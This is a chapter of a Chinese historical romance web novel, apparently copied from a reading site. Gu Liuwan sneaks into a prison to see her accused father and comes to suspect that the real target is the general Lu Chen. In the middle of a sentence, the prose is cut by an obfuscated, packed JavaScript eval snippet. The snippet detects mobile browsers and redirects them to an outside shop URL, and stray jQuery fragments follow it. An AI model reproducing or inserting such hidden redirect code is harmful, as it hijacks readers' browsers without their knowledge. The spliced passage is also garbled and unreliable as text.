默认冷灰
24号文字
方正启体

29.云遮雾障

作者:慵懒非懒本书字数:K更新时间:
    陆沉在一边听了一会儿,始终面无表情。


    郭淮在一旁面有愧色:“将军,我……”


    陆沉淡淡道:“有些争执罢了。”


    陆沉没进营帐,听了一会儿就这么离去,留下郭淮一脸疑惑。


    这怎么能叫有些争执呢?口供不一,如何作证?


    陆沉回到自己的营帐,副将张胜迎了上来,陆沉道:“有人把流民入京作证一事告诉了那些流民。去查。”


    张胜受惊不小,只因不告诉流民入京乃是为了给武威侯作证一事,是想要他们在不知情的情况下将当日安置一事说出,在没有目的的情况下他们不会撒谎,只要说的事实,那便是一致的,如此证词才可采用。可如今既知道为了南朝大将作证,只怕那些金人的心思就不好说了。


    现在人心不齐,言辞不一。日子相差那么久都能吵起来,自然是有人知道要给武威侯作证,生了异心。


    就算陆沉可以在事先统一他们的口径,可大理寺是一群什么人?那么多人,审问时若有一点蛛丝马迹对不上,便是有意欺君,便是自己给自己挖坑。


    除了事实本身。便没有任何可以叫他们口径统一的办法了。


    张胜立时就去了。


    陆沉的视线投向营帐中间的案几,那上面一如既往摆着厚厚几摞书,其间也有顾流纨通过鹰隼送来的几封密函。


    他们已入京了。


    顾流纨屡次掀帘,都被齐粟放了下来:“如今武威侯四面楚歌,你的画像又在城中四处张贴。虽说你现在换了身份,还是莫要招惹人注意的好。”


    流纨不太乐意地坐了回去:“我能见我爹吗?”


    “难。”


    顾流其实也没报什么希望。通缉犯去见死刑犯,想也知道难度。


    谁知齐粟又道:“我想想办法。”


    顾流纨也不知道自己为何要见这个便宜爹。但是辛辛苦苦都到这一步了,总不能连爹长什么样子都不知道。毕竟还是要在这一世混的,太不孝了也不好。


    次日晚,流纨便混进了大理寺牢狱。


    齐粟站在牢狱外一棵大树的阴影之下,同她一样披着斗篷:“最多两刻功夫你便出来。”


    “知晓了。”


    “见了之后,莫要哭哭啼啼,只把消息带到,叫他尽可能申冤拖延。”


    “知道了。”


    一条深深的甬道,两边黑黢黢的房间,一股腐烂血腥味,但几乎所有的牢室都是空的。


    如此流纨不用担心自己认错了人了。


    走到最里面,一个虬髯大汉靠墙坐着,身着破烂的囚衣,身子也不见得如何魁梧,却给人威风凛凛的感觉。


    顾流纨瞅了半晌,才发现那人呼吸均匀,竟是睡着了。


    她观察了许久,最后有些别扭的喊了一声:“爸?”


    那人睁开双眼,目光如炬。


    两人对视了一会儿。


    这人虽然气质粗犷,但相貌却是极好。想必原主的美貌也是随了父亲。


    一股奇异地感觉从心里涌出,流纨自然而然就冒出了一声:“……爹?”


    虬髯大汉突然笑了。


    这邋遢汉子起身,大剌剌走上前来,中气十足声如洪钟:“闺女!想不到死之前还能见你一面!吾心甚慰,吾心甚慰!不过你怎么进来的?”


    流纨十分自然道:“爹,对不起,我来晚了,叫你受罪了!”


    顾扉一摆手:“哪儿的话!你看我这不是好好的?不瞒你说,我在此吃得下睡得香,每日不过被叫去刑房问几句不想干的话,也没人敢对我动刑,倒是谁要是惹我不快了,我便揍得他认我做爹……你怎么进来的?”


    “现下我已经在雾山找到了证据。爹您明日一定要全力喊冤,尽力拖延,不日便可以翻案。”


    顾扉凝起那双浓眉:“证据?什么证据?我这情况要怎样证明?不如你先跟爹说说,你是怎么进来的?”


    老爹一直问,流纨没办法,只好先说自己的事:“是齐粟想的办法。”


    “他?”


    顾扉神色疑惑。


    “你是不是也觉得奇怪?他既要害你,为何又要帮我?”


    “设计害我的,是金太子淮英。我与他通过几次书信;他掐头去尾,拼拼凑凑,想法子交给了圣上。叫圣上对我心生嫌隙。这种离间计,本也寻常,是我一时大意,与齐粟有什么相干?”


    顾流纨沉思,爹还不知道齐粟是金人,自然这般想。他既然是金人,那么与太子淮英相勾结,里应外合,除去爹跟陆沉,也是顺理成章的事。


    可陆沉曾说过,淮英与他进行交易,告诉陆沉齐粟的真实身份,就是不希望齐粟这个皇子回金与他争夺皇位。


    齐粟要拿南朝十万骑兵的性命做投名状的,是以陆沉才会想法子在大战开始之前阻止。


    换言之:淮英与齐粟又是你死我活的关系。陆沉与淮英却是暂时合作的。


    这其中云遮雾障,流纨看不清也理不清。


    她想来想去想不明白,只得道:“爹。齐粟不是什么好人,他是金人出身呢。”


    她本以为爹一定会大吃一惊,谁知他只是稍微有些惊讶,随后道:“这事我倒是听过一些流言。不过,流言而已,没有实证,当不得真啊。”


    “您竟知道此事?”


    “这事在南朝知道的人虽然不多,但也称不上什么惊天秘密。齐粟母亲曾被金人掳去,回来时已经有了孩子。流言因此而起。”


    “但若齐粟真是其母与金人所生,齐粟之父却没有任何异常。据齐父所言:这孩子是其母被掳走之前便怀上的,时间上完全对得上。”


    事情,愈发扑朔迷离起来。


    不过此事可以暂时搁置,当务之急,是要将父亲救出来。


    “这事先放在一边。我们既然找到人证,爹您就使劲喊冤,我们有法子证明你没有勾结金人。”


    “我什么时候勾结金人了?”


    顾流纨简直莫名其妙。爹是蹲大牢蹲傻了吗?


    “你是没有。不是有人诬陷你勾结金人吗?给金人送地图送消息吗?不然你为什么蹲大牢?我将当日你安置在大雾山的金人都找来了啊。只要他们当日说出实情,您不就沉冤得雪了吗?”


    顾扉看女儿的神情不妙,十分不妙。


    “爹?你咋啦,爹?”


    “我的罪名是通敌?他们咋跟我说我是养寇自重。”


    啥?


    顾流纨脑子霎时就乱了。


    这差得太远了吧。


    养寇自重,中饱私囊;好歹还有个敌我之分;可勾结敌人,给金人送情报,这可是妥妥的通敌卖国之罪。


    “淮英要给圣上传达的意思就是这个。”


    ……


    那么请问她这段时间出生入死的,到底在忙活什么?


    请问她与陆沉小心翼翼保护的那份名册及证人,做什么用?


    难怪齐粟对她手上那份名册不过随意一问。


    因为那份名册根本不重要啊。


    不对,不对。


    名册对洗刷爹的冤情是不重要,可对陆沉呢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738888|185655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?


    齐粟为什么要陆沉煞费苦心保护那些人证?只怕还有别的计划。


    顾流纨一时想不清楚此事牵连,只是觉得大事不好,一脑门热汗。


    见她神色异常,顾扉不禁担忧起来:“闺女,你也不必如此担心。你爹我一时还死不了。”


    顾流纨嗓子发干……半晌才道:“爹你知道陆沉吗?”


    “那小子我怎么可能不知道,是个难得的将才,这两年风头极盛——听说相貌也极俊美?怎么,你中意人家?不过你又是怎么认识他的?”


    “雾山沦陷,我被人当成俘虏送入他营中。后来一起找名册以及人证为您申冤。”


    “这小子倒是古道热肠……我虽没见过他,却一直欣赏此人。你若喜欢他……”


    “爹!你咋这么不着调呢?都什么时候了你还要攀扯些有的没的。你不觉得奇怪吗?为何你明明是因为养寇自重被抓起来的,我得到的消息却是你勾结金人卖国?”


    顾扉一时也愣住了。


    顾流纨脑子飞速转动,在木门前走来走去;若是将那份名册呈上去,绝不会仅仅是一场乌龙。


    齐粟此时,依旧站在那片阴影之中。


    身后无声无息靠近一人,对他拱手后道:“大帅,钦州那边已经安排妥当。陆沉已着人去查了。”


    齐粟点了点头。目色不明地看着牢狱的大门。


    两刻钟过去了,流纨还没出来。


    等她出来见到自己,说不定会视自己如鬼魅。


    不过,无妨。


    反正她现在已经是他的人了。


    “顾春梅”这个名字实在难听,她既然不喜欢“婉儿”这个名字,他可以给她再取一个。


    顾流纨起码想明白了一件事。


    她再抬起头时,眼珠子泛红。


    “爹,我想明白了,他们要害的人不是你,是陆沉啊。”


    顾流纨也不知道自己怎么出的牢狱。


    大理寺的牢狱前,台阶远远伸了出去。


    顾流纨神思恍惚间,一只手伸了上来,稳稳地扶住了她。


    顾流纨抬眸看他,眼神全然陌生。


    “流纨……不必神伤,你爹的事情,我会想法子。”


    流纨也没力气挣脱他:“不是我爹就是陆沉,我只能选一个是吗?”


    齐粟收了脸上关切的温意,没有否认。


    过了一会儿他才道:“我以为,你不会觉得为难。”


    是啊。正常人谁都会选爹的吧,谁会选跟自己一夜风流只有露水情缘的那个?


    正如顾扉所言,养寇自重这事没法解释得清的。没法说清的意思,是你说有就有,你说无就无。


    全凭设局者了。


    “所以你与淮英究竟是什么关系?你是不是与他里应外合,陷害南朝大将?你果然是金人?”


    齐粟脸色沉静如海。


    “你只需要安享富贵,这些事,你不必卷进来。”


    顾流纨只觉得无力,可仍坚持:“你老实告诉我。”


    齐粟看着顾流纨,半晌才道:“你只需要知道,我不会做任何对不起南朝之事。”


    夜已是深沉,马车粼粼,朝齐府而去。


    流纨坐在车上一言不发,视线始终怼在齐粟脸上,像是想从他的脸上看出些什么来。


    齐粟被她这样盯着,神色却无比坦然。


    他甚至道:“你给陆沉传了几次消息,我可以既往不咎。但我现在很难相信你,如今你既然是我的人。便日夜伴我左右,不得离开我视线。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)